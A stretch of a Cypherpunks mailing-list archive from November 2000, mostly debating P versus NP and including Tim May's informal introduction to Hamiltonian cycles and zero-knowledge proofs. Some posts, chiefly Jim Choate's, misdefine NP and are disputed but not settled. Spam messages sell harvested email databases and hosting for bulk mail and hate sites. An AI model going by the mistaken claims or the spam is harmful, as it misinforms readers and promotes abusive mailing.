open to easy attack." > > > > Isn't that a little general? Possibly jumping to some hasty conclusions > > about P versus NP as well? > From petro at bounty.org Sat Nov 4 12:42:22 2000 From: petro at bounty.org (petro) Date: Sat, 4 Nov 2000 12:42:22 -0800 Subject: CDR: Re: The Market for Privacy In-Reply-To: <20001104112404.A25543@cluebot.com> References: <01bfad76b9a499d7f55a43586ec6f3e3@remailer.ch> <20001104112404.A25543@cluebot.com> Message-ID: >And anonymous ways to pay for it/obtain it online... It doesn't seem like they care about the anonymous part, plenty of people are willing to hand over their credit card numbers for access. >On Sat, Nov 04, 2000 at 03:04:10AM -0800, petro wrote: >> >Lucky Green wrote: >> > >> >> It appears that ZKS is yet another company that fell prey to >>the DigiCash >> >> "we know better than the market what the market wants" syndrome. What a >> >> shame, really. >> > >> >What does the market want? >> >> SEX!!! >> -- >> A quote from Petro's Archives: >> ********************************************** >> "Despite almost every experience I've ever had with federal >> authority, I keep imagining its competence." >> John Perry Barlow >> -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From petro at bounty.org Sat Nov 4 12:44:08 2000 From: petro at bounty.org (petro) Date: Sat, 4 Nov 2000 12:44:08 -0800 Subject: CDR: Re: Test Ignore In-Reply-To: <1d2835414c002ecb1459c1ff6db46020@anonymous> References: <1d2835414c002ecb1459c1ff6db46020@anonymous> Message-ID: >Test Dick Dude, this isn't the place to check that... -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From tcmay at got.net Sat Nov 4 13:05:07 2000 From: tcmay at got.net (Tim May) Date: Sat, 4 Nov 2000 13:05:07 -0800 Subject: CDR: An Introduction to Complexity, Hamiltonian Cycles, and Zero Knowledge Proofs--Part 1 In-Reply-To: References: Message-ID: At 2:20 PM -0500 11/4/00, dmolnar wrote: >On Sat, 4 Nov 2000, Jim Choate wrote: > >> >> On Sat, 4 Nov 2000, Declan McCullagh wrote: >> >> > "NP" problems, on the other hand, are those that can be solved in >> > nondeterministic polynomial time (think only by guessing). NP >> > includes P. >> >> Actualy any time that can't be described using a polynomial (i.e. a0 + >> a1x + a2x^2 + ...) is NP. For example something that executes in factorial >> or exponential time is NP. > >I'm sorry - by the definitions I know, Declan has it closer. >I'm not sure what you're getting at with "any time that can't be >described..." or "something that executes in factorial or exponential >time." As far as I know, NP is a class of *problems*, not a >class of running times or even a class of algorithms. And I'm going to give a completely informal, but I hope useful, introduction. Though formalism is very important, and jargon is useful, I suspect that all the talk of "succinct certificates," "oracles," "reducibility," "nondeterministic polynomial time," "Co-NP," etc., isn't very useful to someone just coming to this stuff for the first time. I figure understanding math comes from thinking about specific problems, drawing pictures, mulling things over, drawing more pictures, and basically just "becoming one with the problem." Formal definitions then begin to make a lot more sense. While Bourbaki may favor only the tersest of explanations, I think they are dead wrong. (Fair warning: I knew a lot more about this stuff in 1992 when I was reading Garey and Johnson, Harel, etc. and trying to figure out the zero knowledge papers of Goldwasser and her colleagues. These days, terms like "Co-NP" are not in my daily repertoire of concepts I have a good handle on. But the basic ideas don't need such formal definitions. It's more important to have some _intuition_ about common problems and then see the obvious connections with crypto. David Molnar and others are much better versed in the current lingo.) So, the German guy, Olav, who asked about what P and NP and all that stuff means should think of a specific problem. The "Travelling Salesman Problem" is one problem that's a lot of fun to think about, for complexity issues (and also for specific algorithms, like "simulated annealing," "heuristic search," "genetic programming," etc.). However, I'm going to pick the "Hamiltonian Path" (or Hamiltonian Circuit) problem for most of my discussion. It's equally fun, and is one of the canonical "NP-complete" examples. It turns out that these problems are all similar in a deep way to each other. Though there may not be obvious links between Hamiltonian paths, tiling problems in the plane, Go problems on generalized Go boards, grammar problems, "Monkey puzzles," the Minesweeper game mentioned in this thread, and so on, it turns out that they share deep similarities. In fact, with some effort ("polynomial time effort," so to speak) one problem can be converted to another. Hence the notion that if one could find an "easy" algorithm to solve one, one would have solved all of them. (And always keep in mind that these problems are considered in their _general_ forms, with something like N cities, M x N tile arrays, a Go board of N x N grid points, and so on. Any _specific_ instance is not the essence, though of course a specific instance may still be hideously complicated to solve. And slight factors of 2 or 20 or even 20 million, or, indeed, anything short of "exponential in N," are not important. This is often called "Big O" notation, e.g, the complexity/effort goes as "O (N^3)" or "O (N!)". For exact definitions of these kinds of terms, consult any of the many books on this stuff; I'm just trying to provide the motivation and basic ideas here.) TRAVELLING SALESMAN PROBLEM Take 10 cities in Europe. For example: Berlin, Paris, Madrid, Rome, Marseilles, Hannover, Geneva, Amsterdam, Warsaw, and London. The TSP (Travelling Salesman Problem) would be to find the shortest path that connects all cities. Exhaustive search finds the shortest path on the order of (N -1)! calculations, where N is the number of cities. Actually, (N -1)! divided by two. Neither the direction of the path (the factor of 2) nor the starting city (the N -1) matters. For 10 cities, this is trivial to solve exhaustively: a mere 180,440 paths to be computed. However, for 20 cities the number of paths to be computed is about 6 x 10^16. For 50 cities, 3 x 10^62 paths. Whew. Are their better algorithms than exhaustive search over all paths? There may be many algorithms which give "pretty good" results. Dividing the cities into regions and optimizing each one, then stitching the results together works pretty well. (Used in a lot of algorithms, developed at Los Alamos for bomb designs...the Metropolis algorithm, for example.). Simulated annealing works pretty well. And so on. But these are all just approximations, not actual solutions. Good enough for engineering, and evolution (which is why a rabbit trying to get from his burrow to a food source to another food source doesn't die of starvation while he's trying to solve the Travelling Rabbit Problem exactly). One of the characteristics of this kind of problem is that there is often/usually no way to really measure "convergence on a solution." In a maze, for example, as one travels down various maze passages one may know that the goal is "just a few meters away," but this does little good: one may have to backtrack, or undo, ALL moves all the way back to the beginning of the maze search to take another branch point! "Close doesn't count." (The similarities with most modern crypto should be getting obvious. Most modern crypto only falls to "brute force" -- exhaustive search, trying all the paths, trying to factor a modulus, etc. There is no "getting closer" in most modern ciphers.) HAMILTONIAN PATH PROBLEM Find a path or cycle on a graph which passes through each node once and only once. (Or demonstrate whether any such cycle exists, a slightly different form.) I said I would also use the Hamiltonian Path Problem, HPP. This one is worth spending an hour or two drawing pictures and trying to find clever solutions. It will make the ideas much clearer, I think. And will also lead to a good understanding of "zero knowledge proofs" and the applications of them to things like pass phrases and security systems which don't leak information to wiretappers or even to the system being accessed! (Quite a feat, that.) OK, go back to those 10 cities in Europe. As we know, some of those cities have direct rail connections to other of the cities, some don't. Berlin and Paris are connected (ignore trivial issues of their perhaps being intermediate cities and towns...). Madrid and London are not connected directly by rail lines. The HPP is to take a graph, the set of cities and the links between them, and find a path or cycle which passes through each node (city) once and only once. And returns to the starting node. For example, one such path might look like: Rome to Marseilles to Madrid to Geneva to Warsaw to Berlin to Hannover to Amsterdam to Paris to London...whoops, London is only connected to Paris, so we're stuck in London. (This isn't the essence of a HPP, and one could stipulate that all cities must be connected to at least two other cities.) Let's throw London out and only consider N cities with connections to at least two other cities. How many possible paths need to be calculated depends on the number of interconnections. Some time spent with a pencil and paper will be invaluable. As the number of cities increases, the number of paths to consider goes up roughly as N! (N factorial, as above with the TSP). This is not polynomial in the number of cities. (Hence, for newcomers, one starts to get the idea of "nonpolynomial time," though there are some nuances and quibbles to deal with.) However, suppose someone presented a purported Hamiltonian cycle for a graph? That is, a claimed path through the N cities that passed through each city once and only once? This could be verified in practically no time, just by eyeballing the purported cycle. And thus one gets at the idea of an "oracle," a machine or god which can "guess" the solution. (Hence the idea behind "nondeterministic polynomial time." Again, there are nuances and formal issues, but this is the general idea.) (The intuition goes like this: For a large graph, of, say, 100 cities, the calculations required to compute the O (100!) paths would be vastly greater than all the computers that will ever be built could ever do in a billion universes, blah blah. If someone presents a solution, they must have "oracular" powers. Well, not really, as we shall see.) ZERO KNOWLEDGE--APPLYING THIS TO PASS PHRASES "I am Tim May and I present my proof of this: I know a Hamiltonian cycle for this particular graph which is my signature graph." So I present a graph with 100 cities on it, linked in various ways, and show a Hamiltonian cycle. Proof. Except that now I've given this proof to anyone watching, including the system or person I just showed the proof to. Is there a way to prove beyond any doubt that I know the Hamiltonian cycle without actually revealing it. There is. Wow. Trippy stuff. I'll wait a day or two to explain. However, related to our above discussion of HOW FREAKING HARD it is to compute such a Hamiltonian cycle on a reasonably large graph, HOW DID I EVER FIND ONE? Well, I have no oracular or magical abilities to "guess" ("non-deterministic polynomial time"). Instead, I constructed the Hamiltonian cycle from scratch! I took N cities, with no specified links, and connected them in some Hamiltonian cycle. Very easy to do. Just draw N cities or nodes and draw lines connecting them, satisfying the once and only once criterion. Ah, but then draw in a bunch of _other_ links between the nodes. The full graph, nodes and links, is VERY HARD for anyone else to find a Hamiltonian cycle for, but trivial for _me_ to find a Hamiltonian cycle for! So I can use the fact that I know a Hamiltonian cycle for "my" "signature graph" as a pass phrase, or other proof of identity. The trick to be able to prove that I know it without actually revealing it. As I said, I'll describe the trick later today or tomorrow. By the way, my favorite book on this is David Harel's "Algorithmics." Not exactly intended for a beginning student, but much more descriptive and basic than _most_ of the books on complexity theory. Lots of pictures, lots of descriptions of actual problems (tiling puzzles, my favorites). I confess that I only skimmed the sections on "Presburger arithmetic" and why it is "beyond NP" in some weird sense. Have fun, --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From dmolnar at hcs.harvard.edu Sat Nov 4 11:20:01 2000 From: dmolnar at hcs.harvard.edu (dmolnar) Date: Sat, 4 Nov 2000 14:20:01 -0500 (EST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Sat, 4 Nov 2000, Jim Choate wrote: > > On Sat, 4 Nov 2000, Declan McCullagh wrote: > > > "NP" problems, on the other hand, are those that can be solved in > > nondeterministic polynomial time (think only by guessing). NP > > includes P. > > Actualy any time that can't be described using a polynomial (i.e. a0 + > a1x + a2x^2 + ...) is NP. For example something that executes in factorial > or exponential time is NP. I'm sorry - by the definitions I know, Declan has it closer. I'm not sure what you're getting at with "any time that can't be described..." or "something that executes in factorial or exponential time." As far as I know, NP is a class of *problems*, not a class of running times or even a class of algorithms. It doesn't make sense to say "x^2 is in NP", strictly speaking. It doesn't make sense to say "Ford-Fulkerson is in NP", strictly speaking. It makes more sense to say "primality testing" is in NP, if that refers to the problem of "Given a number n, is n prime?" NP can be defined as the class of problems for which there exist "succint certificates". That is, given a problem instance, there is some string S which a) is "succint" - its size is bounded by some polynomial in the size of the problem instance, b) can be verified as a "real" solution to the problem in polynomial time. i.e. the solution has a "certificate" which will convince you beyond doubt that this really is a solution. By the way, I don't recall if anyone's defined polynomial time yet in this thread. "Polynomial time" means that a computer will take a number of "steps" bounded by some polynomial which takes as parameter the length of the problem instance. Here "steps" mean what you think they mean; pinning them down precisely requires specifying your model of computation precisely, which can be time-consuming. NP is the class of all problems for which these "succint certificates" exist. Once you've found an answer, you can check it easily. But you are *not* guaranteed anything about finding the answer. Finding the answer might be "hard." This is one way of thinking about NP. Declan seems to have in mind an alternative (but equivalent) definition, in which we consider NP as the class of problems solvable by machines which have the magic ability to always know the "right" way to go at every branch point of a computation. This is another way to think about it; I personally prefer the "succint certificate" definition. Then P is the subset of NP -- problems for which finding the certificate is "easy." That is, there is a polynomial-time algorithm for finding a solution to the problem in the form of one of these "succint certificates." The P vs NP question is then whether P is a proper subset - i.e. is there some problem in NP but not in P? Factoring in in NP. A succint certificate that you've factored a number n are its factors, because you can just multiply them together to check. Finding the factors is another thing entirely... There are many more isssues here, of course. One such issue is the average case hardness of a problem. In the case of RSA, we actually have that RSA is "randomly self-reducible" -- the ability to solve even a small fraction of instances (say 1%) of all RSA instances would imply the ability to solve every RSA instance. This gives some evidence that RSA is "uniformly hard." But this is not known for many other problems in NP, for which the average case complexity is unclear. More fun on that subject may be found at Russell Impagliazzo's page http://www-cse.ucsd.edu/users/russell/ in the paper "A Personal View of Average Case Complexity." -David From jimdbell at home.com Sat Nov 4 12:15:48 2000 From: jimdbell at home.com (jim bell) Date: Sat, 4 Nov 2000 15:15:48 -0500 Subject: CDR: Re: Enter and Win at ABCNEWS.com References: <20001104031811.121BF4BBC@mrelay10.starwave.com> Message-ID: <005601c0469b$f95ef900$a6d11018@vncvr1.wa.home.com> ----- Original Message ----- X-Loop: openpgp.net From: ABCNEWS.com To: Multiple recipients of list Sent: Friday, November 03, 2000 19:17 PM Subject: Enter and Win at ABCNEWS.com > Enter ABCNEWS.com's "Weekend In Washington, D.C., Sweepstakes" and you > could win a trip for two to our nation's capital, including: > > * round-trip airfare > * airport transportation > * two nights hotel accommodation First prize is two days in Washington. Second prize is three days is Washington. Etc. Jim Bell From fax_email at email.com Sat Nov 4 04:40:09 2000 From: fax_email at email.com (fax_email at email.com) Date: Sat, 4 Nov 2000 15:40:09 +0300 Subject: CDR: Email&Fax Message-ID: <20001104123849Z111204-5940+30962@ajax1.sovam.com> Прорекламируйте СЕБЯ. Сертифицированные Авторские Базы данных электронных адресов (Email) со встроенным рубрикатором и программой для рассылки: - 22.000 номеров (фирмы Москвы) = 100$ - 42.000 номеров (вся Москва) = 150$ База данных: факсы фирм Москвы = 50$ дата баз данных 01.11.2000 moscow_email at email.com *** ... From captain_kirk at beta.freedom.net Sat Nov 4 12:44:23 2000 From: captain_kirk at beta.freedom.net (captain_kirk at beta.freedom.net) Date: Sat, 4 Nov 2000 15:44:23 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) References: <1836f773a613dba50cdd1730c42fef3e@remailer.privacy.at> <4.3.1.2.20001101222348.0273a618@shell11.ba.best.com> Message-ID: <200011042044.PAA25309@domains.invweb.net> > > I had always planned to someday get a Freedom account and use my > > "five nyms" for some true tests of how free the free speech they > > advocate really is. > > I attempted to do this, but was foiled by bugs. I paid my money, but did > not get my nyms. This seems to have been a widespread experience. ZKS > denied any problem. I concluded that if I could not trust them, I could > not trust their proprietary cryptography, and forgot about it. The crypto isn't proprietary, see http://opensource.zeroknowledge.com/ ________________________________________________________________________ Total Internet Privacy -- get your Freedom Nym at http://www.freedom.net From ravage at ssz.com Sat Nov 4 13:51:50 2000 From: ravage at ssz.com (Jim Choate) Date: Sat, 4 Nov 2000 15:51:50 -0600 (CST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Sat, 4 Nov 2000, dmolnar wrote: > I'm sorry - by the definitions I know, Declan has it closer. > I'm not sure what you're getting at with "any time that can't be > described..." or "something that executes in factorial or exponential > time." As far as I know, NP is a class of *problems*, not a > class of running times or even a class of algorithms. Actualy it's all of them. Where the question comes from is when one looks at what it different instances of a given problem (e.g. the number of closed loop paths with no double crossings of a set of bridges, or the number of sequences that a set of cities can be visited without repeats). The goal is to find a solution in a fewer number of steps. There seem to be two major categories P and NP. So for the travelling salesman problem the question becomes how to describe the way the resources and problem space grow with relation to the number of cities. Were that relation to be describable in a polynomial then it would be a P. It looks like the problem is not describable by a polynomial and is therefore NP. > It doesn't make sense to say "x^2 is in NP", strictly speaking. Stripping context removes meaning for anything. It's also changing the rules in the middle of the game. Well, if we're going to speak strictly then you're wrong. Strictly speaking we're talking of the relative complexity to resolve certain classes of problems. And in that case it DOES make sense to word statements like this. One can say that a given problem is "x^2" (which can't be NP since x^2 is a monomial, a class of polynomial and therefore P) with relation to resources or number of potential solutions with respect to going from n to n+1. So, if I have 10 of something and manipulate them and it takes me x amount of time and y resources. And I know the problem is "x^2" then I know that even small changes will drasticaly increase the number of solutions that I have to resolve. In fact I know that if I go to 20 of them things then I'll have to deal with a run time of approx. x^2 and require about y^2 resources. The point is to find an algorithm that uses those resources more sparingly. > It doesn't make sense to say "Ford-Fulkerson is in NP", strictly speaking. It depends on it's complexity. And it does make sense of speaking to a particular algorithm (e.g. Seive of Aritoshanese) as being NP (which it is). > It makes more sense to say "primality testing" is in NP, if that > refers to the problem of "Given a number n, is n prime?" No, because 'primality testing' has a host of algorithms. It appears they are NP, but if somebody were to find a NEW algorithm that did it in P then primality testing, at least with respect to that algorithm, would be a P class problem. Another aspect of the N=NP is that the assumption is that if we can resolve a single NP to a P then that should resolve ALL NP to P. That's a pretty big leap with no real analysis behind it. A canon of faith rather than proof or fact. So the question does in fact effect isues of problem class, algorithm selection, and execution resource requirement. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From nobody at hotmail.com Sat Nov 4 07:57:19 2000 From: nobody at hotmail.com (Nobody) Date: Sat, 04 Nov 2000 15:57:19 GMT Subject: CDR: LOOK! I FOUND BULK-FRIENDLY WEB HOSTING!! Message-ID: Contact sales at hostmatters.com or call TOLL-FREE on 1-877-381-1083 if you have any questions. Dear Readers, I have found this incredible service called HOSTING MATTERS Hosting Matters is a fantastic way to host adult and bulk email-friendly web sites with NO WORRIES about getting shut down as they are only out to try and make money, not police the net. The service is VERY CHEAP and I recommend it for the following types of sites: - Bulk emailing - Adult content & services - Controversial/Hate sites As far as I know, they have NEVER shut down above-mentioned types of sites! For more info contact them on the web site below. http://www.hostmatters.com or an alternative URL: http://www.hostingmatters.com From ravage at einstein.ssz.com Sat Nov 4 13:58:20 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Sat, 4 Nov 2000 15:58:20 -0600 (CST) Subject: CDR: Re: Bush took ss# off his Texas license!!! In-Reply-To: <200011042113.QAA02619@www6.aa.psiweb.com> Message-ID: There's no SS# on a Texas DL, never has been. There is a DL# that is 8 digits in length (and related to time and place of initial license application, not SS#). Also, if you let your license expire and don't renew within a certain period of time (used to be 2 years) you get a new DL# automaticaly. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- On Sat, 4 Nov 2000 George at Orwellian.Org wrote: > Some misc first: Drudge says he's not waiting for > the polls to close, he's posting exit-poll results > as soon as they come in. > > I once worked for NES [News Election Service] the > combined effort of CBS/NBC/ABC etc to receive > exit-poll info from around the nation. Job title > was "Error Editor". Anyone have any current info > on them? > > ---- > > Clinton has vetoed the new secrets bill. > > ---- > > The Texas license uses your SS#. > > http://www.msnbc.com/news/466882.asp [snipped] > > CHANGED DRIVER'S LICENSE AT ISSUE > > Sources told MSNBC.com's Jeannette Walls that Bush associates had been > worried for several years about his arrest record and had hoped that > because it was in Maine, and not Texas, it wouldn't surface. > > The sources said Bush took one step to keep it under wraps in March > 1995, when his driver's license number was changed. Walls first reported > this in August 1999 in The Scoop, an MSNBC.com column. At the time, > the sources told Walls that Bush got his license number changed because > he was worried about an arrest record surfacing. > > "He has an arrest record that has to do with drinking," a source said > then. "He's worried it will come out, but his handlers keep assuring > him it won't." > > The allegation was not disclosed by MSNBC.com at the time because the > arrest could not be confirmed. > > Also in August 1999, the Texas Department of Motor Vehicles told > MSNBC.com that changing one's driver's license number was "highly > unusual" and that it is done only when the holder of the license can > prove that someone is using the license number for illegal activities. > > Repeated calls to Bush's camp back at the time were unanswered, until > a spokeswoman for Bush said the motor vehicle agency would have an > additional comment. An agency spokesman then called MSNBC and said > Bush's license number was changed for "security measures." He declined > to comment further. > > A spokesman for Bush left a phone message Friday saying license numbers > are changed "as a matter of course and courtesy for statewide elected > officials. It's offered to all statewide elected officials in Texas." > > A spokesman for the governor's office in Texas reiterated this and > said other governors were also given the option of changing their > license numbers. > From petro at bounty.org Sat Nov 4 16:02:28 2000 From: petro at bounty.org (petro) Date: Sat, 4 Nov 2000 16:02:28 -0800 Subject: CDR: Re: Bush took ss# off his Texas license!!! In-Reply-To: <200011042250.RAA17165@www0.aa.psiweb.com> References: <200011042250.RAA17165@www0.aa.psiweb.com> Message-ID: >Kaos wrote: ># There's no SS# on a Texas DL, never has been. There is a DL# that is 8 ># digits in length (and related to time and place of initial license ># application, not SS#). > >Then someone in tx.politics was wrong (and I passed it along). > >But now I'm confused (no cracks please): why change your >driver's license number if it doesn't mean anything special? > >He did change it. Because it is still a "linking" number used for identification. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From petro at bounty.org Sat Nov 4 16:04:43 2000 From: petro at bounty.org (petro) Date: Sat, 4 Nov 2000 16:04:43 -0800 Subject: CDR: Re: An Introduction to Complexity, Hamiltonian Cycles, and Zero Knowledge Proofs--Part 1 In-Reply-To: References: Message-ID: Mr. May: >At 2:20 PM -0500 11/4/00, dmolnar wrote: >>On Sat, 4 Nov 2000, Jim Choate wrote: >> >>> >>> On Sat, 4 Nov 2000, Declan McCullagh wrote: >>> >>> > "NP" problems, on the other hand, are those that can be solved in >>> > nondeterministic polynomial time (think only by guessing). NP >>> > includes P. >>> >>> Actualy any time that can't be described using a polynomial (i.e. a0 + >>> a1x + a2x^2 + ...) is NP. For example something that executes in factorial >>> or exponential time is NP. >> >>I'm sorry - by the definitions I know, Declan has it closer. >>I'm not sure what you're getting at with "any time that can't be >>described..." or "something that executes in factorial or exponential >>time." As far as I know, NP is a class of *problems*, not a >>class of running times or even a class of algorithms. > > >And I'm going to give a completely informal, but I hope useful, >introduction. Though formalism is very important, and jargon is >useful, I suspect that all the talk of "succinct certificates," >"oracles," "reducibility," "nondeterministic polynomial time," >"Co-NP," etc., isn't very useful to someone just coming to this stuff >for the first time. > >I confess that I only skimmed the sections on "Presburger arithmetic" >and why it is "beyond NP" in some weird sense. > >Have fun, > Thank you. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From George at Orwellian.Org Sat Nov 4 13:13:09 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sat, 4 Nov 2000 16:13:09 -0500 (EST) Subject: CDR: Bush took ss# off his Texas license!!! Message-ID: <200011042113.QAA02619@www6.aa.psiweb.com> Some misc first: Drudge says he's not waiting for the polls to close, he's posting exit-poll results as soon as they come in. I once worked for NES [News Election Service] the combined effort of CBS/NBC/ABC etc to receive exit-poll info from around the nation. Job title was "Error Editor". Anyone have any current info on them? ---- Clinton has vetoed the new secrets bill. ---- The Texas license uses your SS#. http://www.msnbc.com/news/466882.asp [snipped] CHANGED DRIVER'S LICENSE AT ISSUE Sources told MSNBC.com's Jeannette Walls that Bush associates had been worried for several years about his arrest record and had hoped that because it was in Maine, and not Texas, it wouldn't surface. The sources said Bush took one step to keep it under wraps in March 1995, when his driver's license number was changed. Walls first reported this in August 1999 in The Scoop, an MSNBC.com column. At the time, the sources told Walls that Bush got his license number changed because he was worried about an arrest record surfacing. "He has an arrest record that has to do with drinking," a source said then. "He's worried it will come out, but his handlers keep assuring him it won't." The allegation was not disclosed by MSNBC.com at the time because the arrest could not be confirmed. Also in August 1999, the Texas Department of Motor Vehicles told MSNBC.com that changing one's driver's license number was "highly unusual" and that it is done only when the holder of the license can prove that someone is using the license number for illegal activities. Repeated calls to Bush's camp back at the time were unanswered, until a spokeswoman for Bush said the motor vehicle agency would have an additional comment. An agency spokesman then called MSNBC and said Bush's license number was changed for "security measures." He declined to comment further. A spokesman for Bush left a phone message Friday saying license numbers are changed "as a matter of course and courtesy for statewide elected officials. It's offered to all statewide elected officials in Texas." A spokesman for the governor's office in Texas reiterated this and said other governors were also given the option of changing their license numbers. From bill.stewart at pobox.com Sat Nov 4 16:35:34 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sat, 04 Nov 2000 16:35:34 -0800 Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: References: <20001104114153.B25543@cluebot.com> Message-ID: <3.0.5.32.20001104163534.00a5d100@idiom.com> At 11:02 AM 11/4/00 -0600, Jim Choate wrote: >On Sat, 4 Nov 2000, Declan McCullagh wrote: >> "NP" problems, on the other hand, are those that can be solved in >> nondeterministic polynomial time (think only by guessing). NP includes P. > >Actualy any time that can't be described using a polynomial (i.e. a0 + >a1x + a2x^2 + ...) is NP. For example something that executes in factorial >or exponential time is NP. > >If it is found that all NP can be reduced to P then I'd expect to see >somebody be able to express a factorial (for example) as a polynomial. >I ain't holding my breath. > >The 'nondeterministic' part simply means it's unknown if the problem can >be reduced to a polynomial representation. > >As to 'guessing', some processes are polynomial and some aren't. Jim, you're misunderstanding the class NP, though you're correct in not holding your breath. It's not "all problems that can't be solved in polynomial time." It's "all problems that can be solved in polynomial time by a non-deterministic Turing machine." A non-deterministic Turing machine is allowed to guess answers (or at least, to guess a polynomial number of answers). Answers to NP problems can be verified in polynomial time - the hypothetical machine guesses the answer, and verifies it in a polynomially bounded time. There are lots of problems that are outside of NP - they're known to take exponential amounts of time to solve, regardless of whether you've got a NTM which can pull correct bits out of /dev/oracle. There are also lots of problems for which the complexity is unknown, such as factoring. Until ~20 years ago, linear programming was believed to be part of NP, but Karmarkar's algorithm (which I think was based on Shor's work?) demonstrated a way to solve it in polynomial time, though with an annoyingly large polynomial. NP-complete problems are a certain set of problems for which it can be proven that if you can solve one problem in that set in polynomial time, you can use only polynomially more work to solve any other problem in that set. Usually people reduce things to the Satisfiability problem, though sometimes others are more convenient. When I was studying complexity theory from Karp back in grad school, one thing I didn't understand was the issue of whether there might be other sets of problems that are similarly hard but not reducable to each other, e.g. a set NP1 of hard problems including satistiability, Hamiltonian paths, etc., a set NP2 of hard problems including Foo and Bar that are reducable to each other but haven't been proven to solve or be solved by NP1 (or at least not both.) Perhaps it's a definitional thing, or perhaps there are proofs that were beyond the scope of a first-year grad course, or perhaps the problems that appear to be that hard just keep turning out to be members of the well-known NP-complete set, or perhaps there was something obvious I was just missing... Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From ravage at ssz.com Sat Nov 4 14:42:43 2000 From: ravage at ssz.com (Jim Choate) Date: Sat, 4 Nov 2000 16:42:43 -0600 (CST) Subject: CDR: RE: FW: BLOCK: AT&T signs bulk hosting contract with spammers In-Reply-To: Message-ID: On Fri, 3 Nov 2000, Gil Hamilton wrote: > I have no doubt that spam *does* cost millions of dollars every > month to handle. However, describing it as "trespassing", "stealing" > and so forth is simply an attempt to demonize it with emotionally > loaded terms. It's amazing to me that anyone can get away with > accusing someone else of "stealing" a resource the accuser is giving > away for free. There's a problem with this view... > Hence, the obvious solution is to make it *cost money to send mail* > (or to use any other network resource). It already does (TANSTAAFL), what you seem to be missing is WHO is doing the paying. When the postman drops that mail in my mailbox it costs me nothing. When they drop it in my email box it causts me cycles, and their my cycles not the person sending the spam. When they send their probe out to my mailer to determine it's configuration without permission that is trespassing. It is the same as if they came onto my property to determine how I configure my VCR. That the computer is accessible through a public channel is as irrelevant to the issue as the fact that the street in front of my house that connects with my driveway is public as well. Then again, you may not mind people whom you don't know camping out in your living room and knowing what sorts of video tapes you have and who you watch them with. Access <> Ownership ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at einstein.ssz.com Sat Nov 4 14:59:18 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Sat, 4 Nov 2000 16:59:18 -0600 (CST) Subject: CDR: N=NP - A correction... Message-ID: Hi, I realize now I didn't state the scaling correctly in my example. Let's try it again... Let's say I use an algorithm of O(x^2). My initial problem set size is 10 and I use x resources in y amount of time. If I go to a problem set size of 20 then I use (2^2)x and (2^2)y. And not x^2 and y^2 as I originaly typed. So, to gauge the resource difference between two problem set sizes of x and y, with an O(f()) and z being run time for x, and w being the resource load for x, we get, y/x = dx And the new run time for y will be, f(dx)z And the new resource load for y will be, f(dx)w ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Sat Nov 4 15:02:27 2000 From: ravage at ssz.com (Jim Choate) Date: Sat, 4 Nov 2000 17:02:27 -0600 (CST) Subject: CDR: Re: Bush took ss# off his Texas license!!! In-Reply-To: <200011042250.RAA17165@www0.aa.psiweb.com> Message-ID: On Sat, 4 Nov 2000 George at Orwellian.Org wrote: > But now I'm confused (no cracks please): why change your > driver's license number if it doesn't mean anything special? > > He did change it. Because legal records, at least with relation to Tx, are indexed according to Tx DL#. Warrants for example are issued against DL# and not just SS#. During a criminal records search in Tx. you'll never be asked for a SS#. They're also public record so somebody may want to make finding info harder. Security through obscurity I'd guess. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at einstein.ssz.com Sat Nov 4 15:07:49 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Sat, 4 Nov 2000 17:07:49 -0600 (CST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Sat, 4 Nov 2000, dmolnar wrote: > > Another aspect of the N=NP is that the assumption is that if we can > > resolve a single NP to a P then that should resolve ALL NP to P. That's a > > pretty big leap with no real analysis behind it. A canon of faith rather > > than proof or fact. > > I'm sorry. I've been talking about the class "NP" as I've seen it defined > in class and as in books such as Papadimitriou's _Computational > Complexity_ or Garey & Johnson's _Computers and Intractability: A Guide > to NP-Completeness_. This is only partly an appeal to authority; it's > primarily to clarify what I mean when I'm writing and so try 